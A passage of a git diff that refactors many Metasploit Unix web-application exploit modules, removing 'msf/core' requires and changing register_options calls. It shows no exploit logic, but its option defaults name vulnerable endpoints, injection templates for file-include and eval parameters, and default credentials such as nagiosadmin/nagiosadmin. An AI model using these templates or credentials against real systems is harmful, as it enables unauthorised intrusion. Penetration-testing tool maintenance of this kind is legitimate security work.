OptString.new('TARGETURI', [true, 'The base path to Kimai', '/kimai/']), OptString.new('FALLBACK_TARGET_PATH', [false, 'The path to the web server document root directory', '/var/www/']), OptString.new('FALLBACK_TABLE_PREFIX', [false, 'The MySQL table name prefix string for Kimai tables', 'kimai_']) - ], self.class) + ]) end # diff --git a/modules/exploits/unix/webapp/libretto_upload_exec.rb b/modules/exploits/unix/webapp/libretto_upload_exec.rb index af5e4c5445..90c4487128 100644 --- a/modules/exploits/unix/webapp/libretto_upload_exec.rb +++ b/modules/exploits/unix/webapp/libretto_upload_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The base path to LibrettoCMS', '/librettoCMS_v.2.2.2/']) - ], self.class) + ]) end def check diff --git a/modules/exploits/unix/webapp/maarch_letterbox_file_upload.rb b/modules/exploits/unix/webapp/maarch_letterbox_file_upload.rb index f12ba7d45d..9662e99617 100644 --- a/modules/exploits/unix/webapp/maarch_letterbox_file_upload.rb +++ b/modules/exploits/unix/webapp/maarch_letterbox_file_upload.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'uri' class MetasploitModule < Msf::Exploit::Remote @@ -41,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The base path to Maarch LetterBox', '/']) - ], self.class) + ]) end def letterbox_login_url diff --git a/modules/exploits/unix/webapp/mambo_cache_lite.rb b/modules/exploits/unix/webapp/mambo_cache_lite.rb index a3d237047f..c0cec65eb5 100644 --- a/modules/exploits/unix/webapp/mambo_cache_lite.rb +++ b/modules/exploits/unix/webapp/mambo_cache_lite.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('PHPURI', [true, "The URI to request, with the include parameter changed to !URL!", "/includes/Cache/Lite/Output.php?mosConfig_absolute_path=!URL!"]), - ], self.class) + ]) end def php_exploit diff --git a/modules/exploits/unix/webapp/mitel_awc_exec.rb b/modules/exploits/unix/webapp/mitel_awc_exec.rb index 943f3d32ac..cc57fc9f8c 100644 --- a/modules/exploits/unix/webapp/mitel_awc_exec.rb +++ b/modules/exploits/unix/webapp/mitel_awc_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URIPATH', [ true, "The path to the vcs cgi-bin binary", "/awcuser/cgi-bin/vcs" ]) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/unix/webapp/moinmoin_twikidraw.rb b/modules/exploits/unix/webapp/moinmoin_twikidraw.rb index 1a558a3e0d..3ed6d4bbae 100644 --- a/modules/exploits/unix/webapp/moinmoin_twikidraw.rb +++ b/modules/exploits/unix/webapp/moinmoin_twikidraw.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking @@ -63,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('WritablePage', [ true, "MoinMoin Page with edit permissions to inject the payload, by default WikiSandbox (Ex: /WikiSandbox)", "/WikiSandBox" ]), OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]), OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ]) - ], self.class) + ]) end def moinmoin_template(path) diff --git a/modules/exploits/unix/webapp/mybb_backdoor.rb b/modules/exploits/unix/webapp/mybb_backdoor.rb index 084d6f44b9..d4d84a3fcf 100644 --- a/modules/exploits/unix/webapp/mybb_backdoor.rb +++ b/modules/exploits/unix/webapp/mybb_backdoor.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URI', [ true, "myBB path", '/index.php']), - ], self.class) + ]) end diff --git a/modules/exploits/unix/webapp/nagios3_history_cgi.rb b/modules/exploits/unix/webapp/nagios3_history_cgi.rb index 9329442d45..6331d39b57 100644 --- a/modules/exploits/unix/webapp/nagios3_history_cgi.rb +++ b/modules/exploits/unix/webapp/nagios3_history_cgi.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -88,7 +85,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [true, "The full URI path to history.cgi", "/nagios3/cgi-bin/history.cgi"]), OptString.new('USER', [false, "The username to authenticate with", "nagiosadmin"]), OptString.new('PASS', [false, "The password to authenticate with", "nagiosadmin"]), - ], self.class) + ]) end def detect_version(uri) diff --git a/modules/exploits/unix/webapp/nagios3_statuswml_ping.rb b/modules/exploits/unix/webapp/nagios3_statuswml_ping.rb index 75bd25e80d..b52a038e46 100644 --- a/modules/exploits/unix/webapp/nagios3_statuswml_ping.rb +++ b/modules/exploits/unix/webapp/nagios3_statuswml_ping.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('URI', [true, "The full URI path to statuswml.cgi", "/nagios3/cgi-bin/statuswml.cgi"]), OptString.new('USER', [true, "The username to authenticate with", "guest"]), OptString.new('PASS', [true, "The password to authenticate with", "guest"]), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/unix/webapp/nagios_graph_explorer.rb b/modules/exploits/unix/webapp/nagios_graph_explorer.rb index 3f39baba91..66fc769888 100644 --- a/modules/exploits/unix/webapp/nagios_graph_explorer.rb +++ b/modules/exploits/unix/webapp/nagios_graph_explorer.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote # URI isn't registered, because this is set by the installer. OptString.new('USERNAME', [true, 'The username to login as', 'nagiosadmin']), OptString.new('PASSWORD', [true, 'The password to use']) - ], self.class) + ]) end diff --git a/modules/exploits/unix/webapp/narcissus_backend_exec.rb b/modules/exploits/unix/webapp/narcissus_backend_exec.rb index 6a18933811..ec44deeb0e 100644 --- a/modules/exploits/unix/webapp/narcissus_backend_exec.rb +++ b/modules/exploits/unix/webapp/narcissus_backend_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The URI path to the web application', '/narcissus-master/']) - ], self.class) + ]) end def base diff --git a/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb b/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb index 2a83f31155..44e56b5c8d 100644 --- a/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb +++ b/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -70,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The base path to Open Flash Chart', '/php-ofc-library/']) - ], self.class) + ]) end # diff --git a/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb b/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb index 3b0a3a3eb1..50d1f81dd4 100644 --- a/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb +++ b/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [true, 'The base path to the OpenEMR installation', '/openemr']), OptString.new('USER', [true, 'The non-admin user', '']), OptString.new('PASS', [true, 'The non-admin password', '']) - ], self.class) + ]) end def uri diff --git a/modules/exploits/unix/webapp/openemr_upload_exec.rb b/modules/exploits/unix/webapp/openemr_upload_exec.rb index cd9dac9f8b..e774020144 100644 --- a/modules/exploits/unix/webapp/openemr_upload_exec.rb +++ b/modules/exploits/unix/webapp/openemr_upload_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The base path to EGallery', '/openemr']) - ], self.class) + ]) end def check diff --git a/modules/exploits/unix/webapp/opensis_modname_exec.rb b/modules/exploits/unix/webapp/opensis_modname_exec.rb index 1c7a6a73b5..4df778990f 100644 --- a/modules/exploits/unix/webapp/opensis_modname_exec.rb +++ b/modules/exploits/unix/webapp/opensis_modname_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -62,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [true, 'The URI for OpenSIS', '/opensis/']), OptString.new('USERNAME', [true, 'The username for OpenSIS']), OptString.new('PASSWORD', [true, 'The password for OpenSIS']) - ], self.class) + ]) end # diff --git a/modules/exploits/unix/webapp/openview_connectednodes_exec.rb b/modules/exploits/unix/webapp/openview_connectednodes_exec.rb index 01606273b0..2eb61dbe3f 100644 --- a/modules/exploits/unix/webapp/openview_connectednodes_exec.rb +++ b/modules/exploits/unix/webapp/openview_connectednodes_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URI', [true, "The full URI path to connectedNodes.ovpl", "/OvCgi/connectedNodes.ovpl"]), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/unix/webapp/openx_banner_edit.rb b/modules/exploits/unix/webapp/openx_banner_edit.rb index c6a695a8d5..76ded9b546 100644 --- a/modules/exploits/unix/webapp/openx_banner_edit.rb +++ b/modules/exploits/unix/webapp/openx_banner_edit.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('USERNAME', [ true, 'The username to authenticate as' ]), OptString.new('PASSWORD', [ true, 'The password for the specified username' ]), OptString.new('DESC', [ true, 'The description to use for the banner', 'Temporary banner']), - ], self.class) + ]) end def check diff --git a/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb b/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb index 4a0f7a4ff5..45826cb1a1 100644 --- a/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb +++ b/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('CMD', [ false, "A single command to execute instead of the payload" ]), OptString.new('HttpUsername', [ true, "The user to authenticate as", 'oracle']), OptString.new('HttpPassword', [ true, "The password to authenticate with" ]) - ], self.class) + ]) deregister_options( 'HTTP::junk_params', # not your typical POST, so don't inject params. diff --git a/modules/exploits/unix/webapp/oscommerce_filemanager.rb b/modules/exploits/unix/webapp/oscommerce_filemanager.rb index b3e1bf3bbd..a9731945a4 100644 --- a/modules/exploits/unix/webapp/oscommerce_filemanager.rb +++ b/modules/exploits/unix/webapp/oscommerce_filemanager.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URI', [ true, "Base osCommerce directory path", '/catalog/']), - ], self.class) + ]) end diff --git a/modules/exploits/unix/webapp/pajax_remote_exec.rb b/modules/exploits/unix/webapp/pajax_remote_exec.rb index 711533e4f3..92d8de50b7 100644 --- a/modules/exploits/unix/webapp/pajax_remote_exec.rb +++ b/modules/exploits/unix/webapp/pajax_remote_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('URI', [true, "The full URI path to pajax_call_dispatcher.php", "/pajax/pajax/pajax_call_dispatcher.php"]), OptString.new('MOD', [true, "The PAJAX module name", "Calculator"]) - ], self.class) + ]) end diff --git a/modules/exploits/unix/webapp/php_charts_exec.rb b/modules/exploits/unix/webapp/php_charts_exec.rb index b33f1a45bc..0abf356abc 100644 --- a/modules/exploits/unix/webapp/php_charts_exec.rb +++ b/modules/exploits/unix/webapp/php_charts_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -57,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The path to the web application', '/php-charts_v1.0/']), - ], self.class) + ]) end def check diff --git a/modules/exploits/unix/webapp/php_eval.rb b/modules/exploits/unix/webapp/php_eval.rb index 07671c52e1..9c6d1cbb9b 100644 --- a/modules/exploits/unix/webapp/php_eval.rb +++ b/modules/exploits/unix/webapp/php_eval.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URIPATH', [ true, "The URI to request, with the eval()'d parameter changed to !CODE!", '/test.php?evalme=!CODE!']), - ], self.class) + ]) end diff --git a/modules/exploits/unix/webapp/php_include.rb b/modules/exploits/unix/webapp/php_include.rb index 5ce9472bb2..f46bf6d26c 100644 --- a/modules/exploits/unix/webapp/php_include.rb +++ b/modules/exploits/unix/webapp/php_include.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote OptPath.new('PHPRFIDB', [false, "A local file containing a list of URLs to try, with XXpathXX replacing the URL", File.join(Msf::Config.data_directory, "exploits", "php", "rfi-locations.dat") ]) - ], self.class) + ]) end def check diff --git a/modules/exploits/unix/webapp/php_vbulletin_template.rb b/modules/exploits/unix/webapp/php_vbulletin_template.rb index 70a7a5713e..bfe008cbea 100644 --- a/modules/exploits/unix/webapp/php_vbulletin_template.rb +++ b/modules/exploits/unix/webapp/php_vbulletin_template.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('PATH', [ true, "Path to misc.php", '/forum/misc.php']), - ], self.class) + ]) deregister_options( 'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now. diff --git a/modules/exploits/unix/webapp/php_xmlrpc_eval.rb b/modules/exploits/unix/webapp/php_xmlrpc_eval.rb index fedf43dcfc..341c07333b 100644 --- a/modules/exploits/unix/webapp/php_xmlrpc_eval.rb +++ b/modules/exploits/unix/webapp/php_xmlrpc_eval.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('PATH', [ true, "Path to xmlrpc.php", '/xmlrpc.php']), - ], self.class) + ]) deregister_options( 'HTTP::junk_params', # not your typical POST, so don't inject params. diff --git a/modules/exploits/unix/webapp/phpbb_highlight.rb b/modules/exploits/unix/webapp/phpbb_highlight.rb index 92159e9983..0becc14a37 100644 --- a/modules/exploits/unix/webapp/phpbb_highlight.rb +++ b/modules/exploits/unix/webapp/phpbb_highlight.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -60,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('URI', [true, "The phpBB root Directory", "/phpBB2"]), OptString.new('TOPIC', [false, "The ID of a valid topic"]), - ], self.class) + ]) end def find_topic diff --git a/modules/exploits/unix/webapp/phpmyadmin_config.rb b/modules/exploits/unix/webapp/phpmyadmin_config.rb index 2505a8901e..077b4e13ae 100644 --- a/modules/exploits/unix/webapp/phpmyadmin_config.rb +++ b/modules/exploits/unix/webapp/phpmyadmin_config.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -66,7 +64,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URI', [ true, "Base phpMyAdmin directory path", '/phpMyAdmin/']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/unix/webapp/piwik_superuser_plugin_upload.rb b/modules/exploits/unix/webapp/piwik_superuser_plugin_upload.rb index 005785f45f..6607238efe 100644 --- a/modules/exploits/unix/webapp/piwik_superuser_plugin_upload.rb +++ b/modules/exploits/unix/webapp/piwik_superuser_plugin_upload.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/zip' class MetasploitModule < Msf::Exploit::Remote @@ -48,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [true, 'The URI path of the Piwik installation', '/']), OptString.new('USERNAME', [true, 'The Piwik username to authenticate with']), OptString.new('PASSWORD', [true, 'The Piwik password to authenticate with']) - ], self.class) + ]) end def username diff --git a/modules/exploits/unix/webapp/projectpier_upload_exec.rb b/modules/exploits/unix/webapp/projectpier_upload_exec.rb index 6149f0a6cf..05f5c04937 100644 --- a/modules/exploits/unix/webapp/projectpier_upload_exec.rb +++ b/modules/exploits/unix/webapp/projectpier_upload_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The path to the web application', '/pp088/']) - ], self.class) + ]) end diff --git a/modules/exploits/unix/webapp/projectsend_upload_exec.rb b/modules/exploits/unix/webapp/projectsend_upload_exec.rb index 0600c02ad9..f9f2342ff9 100644 --- a/modules/exploits/unix/webapp/projectsend_upload_exec.rb +++ b/modules/exploits/unix/webapp/projectsend_upload_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The base path to ProjectSend', '/ProjectSend/']) - ], self.class) + ]) end # diff --git a/modules/exploits/unix/webapp/qtss_parse_xml_exec.rb b/modules/exploits/unix/webapp/qtss_parse_xml_exec.rb index 90cab50a10..642bb6965a 100644 --- a/modules/exploits/unix/webapp/qtss_parse_xml_exec.rb +++ b/modules/exploits/unix/webapp/qtss_parse_xml_exec.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(1220) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/unix/webapp/redmine_scm_exec.rb b/modules/exploits/unix/webapp/redmine_scm_exec.rb index fa917c7e4e..a6d921f8d9 100644 --- a/modules/exploits/unix/webapp/redmine_scm_exec.rb +++ b/modules/exploits/unix/webapp/redmine_scm_exec.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URI', [true, "The full URI path to the project", "/projects/1/"]), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/unix/webapp/seportal_sqli_exec.rb b/modules/exploits/unix/webapp/seportal_sqli_exec.rb index f71b7fd44c..19c1323b47 100644 --- a/modules/exploits/unix/webapp/seportal_sqli_exec.rb +++ b/modules/exploits/unix/webapp/seportal_sqli_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [true, 'The base path to the SePortal installation', '/seportal']), OptString.new('USER', [true, 'The non-admin user', 'test']), OptString.new('PASS', [true, 'The non-admin password', 'test']) - ], self.class) + ]) end def uri diff --git a/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb b/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb index b0e2edb30b..0a7cbe33fb 100644 --- a/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb +++ b/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The base path to Simple E-Document', '/simple_e_document_v_1_31/']) - ], self.class) + ]) end # diff --git a/modules/exploits/unix/webapp/sixapart_movabletype_storable_exec.rb b/modules/exploits/unix/webapp/sixapart_movabletype_storable_exec.rb index 1e47de44e0..d19c9e5c9c 100644 --- a/modules/exploits/unix/webapp/sixapart_movabletype_storable_exec.rb +++ b/modules/exploits/unix/webapp/sixapart_movabletype_storable_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/unix/webapp/skybluecanvas_exec.rb b/modules/exploits/unix/webapp/skybluecanvas_exec.rb index 1852ca5571..259e119483 100644 --- a/modules/exploits/unix/webapp/skybluecanvas_exec.rb +++ b/modules/exploits/unix/webapp/skybluecanvas_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -57,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI',[true, "The path to the SkyBlueCanvas CMS installation", "/"]), - ],self.class) + ]) end def check diff --git a/modules/exploits/unix/webapp/sphpblog_file_upload.rb b/modules/exploits/unix/webapp/sphpblog_file_upload.rb index 1633e81cde..2c6894ae6b 100644 --- a/modules/exploits/unix/webapp/sphpblog_file_upload.rb +++ b/modules/exploits/unix/webapp/sphpblog_file_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URI', [true, "Sphpblog directory path", "/sphpblog"]), - ], self.class) + ]) end def check diff --git a/modules/exploits/unix/webapp/spip_connect_exec.rb b/modules/exploits/unix/webapp/spip_connect_exec.rb index 5d7cc5c5e9..0ee26fbe68 100644 --- a/modules/exploits/unix/webapp/spip_connect_exec.rb +++ b/modules/exploits/unix/webapp/spip_connect_exec.rb @@ -3,9 +3,8 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -46,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The base path to SPIP application', '/']), - ], self.class) + ]) end def check diff --git a/modules/exploits/unix/webapp/squash_yaml_exec.rb b/modules/exploits/unix/webapp/squash_yaml_exec.rb index bd489e6b3a..014d339826 100644 --- a/modules/exploits/unix/webapp/squash_yaml_exec.rb +++ b/modules/exploits/unix/webapp/squash_yaml_exec.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'zlib' class MetasploitModule < Msf::Exploit::Remote @@ -39,7 +38,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]) - ], self.class) + ]) end diff --git a/modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb b/modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb index 61eba13594..cfbfb4f881 100644 --- a/modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb +++ b/modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking diff --git a/modules/exploits/unix/webapp/sugarcrm_rest_unserialize_exec.rb b/modules/exploits/unix/webapp/sugarcrm_rest_unserialize_exec.rb index 501c736e80..bb95e70ea1 100644 --- a/modules/exploits/unix/webapp/sugarcrm_rest_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/sugarcrm_rest_unserialize_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -41,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [ true, "The base path to the web application", "/sugarcrm/"]) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb b/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb index d9a3ffc18e..2a35d13a7f 100644 --- a/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [ true, "The base path to the web application", "/sugarcrm/"]), OptString.new('USERNAME', [true, "The username to authenticate with" ]), OptString.new('PASSWORD', [true, "The password to authenticate with" ]) - ], self.class) + ]) end diff --git a/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb b/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb index de46b20848..41a8037b82 100644 --- a/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URI', [true, "TikiWiki directory path", "/tikiwiki"]), - ], self.class) + ]) end def check diff --git a/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb b/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb index 4d46b0051f..092860b693 100644 --- a/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URI', [true, "TikiWiki directory path", "/tikiwiki/"]), - ], self.class) + ]) end def check diff --git a/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb b/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb index 0839e46091..7797143515 100644 --- a/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb +++ 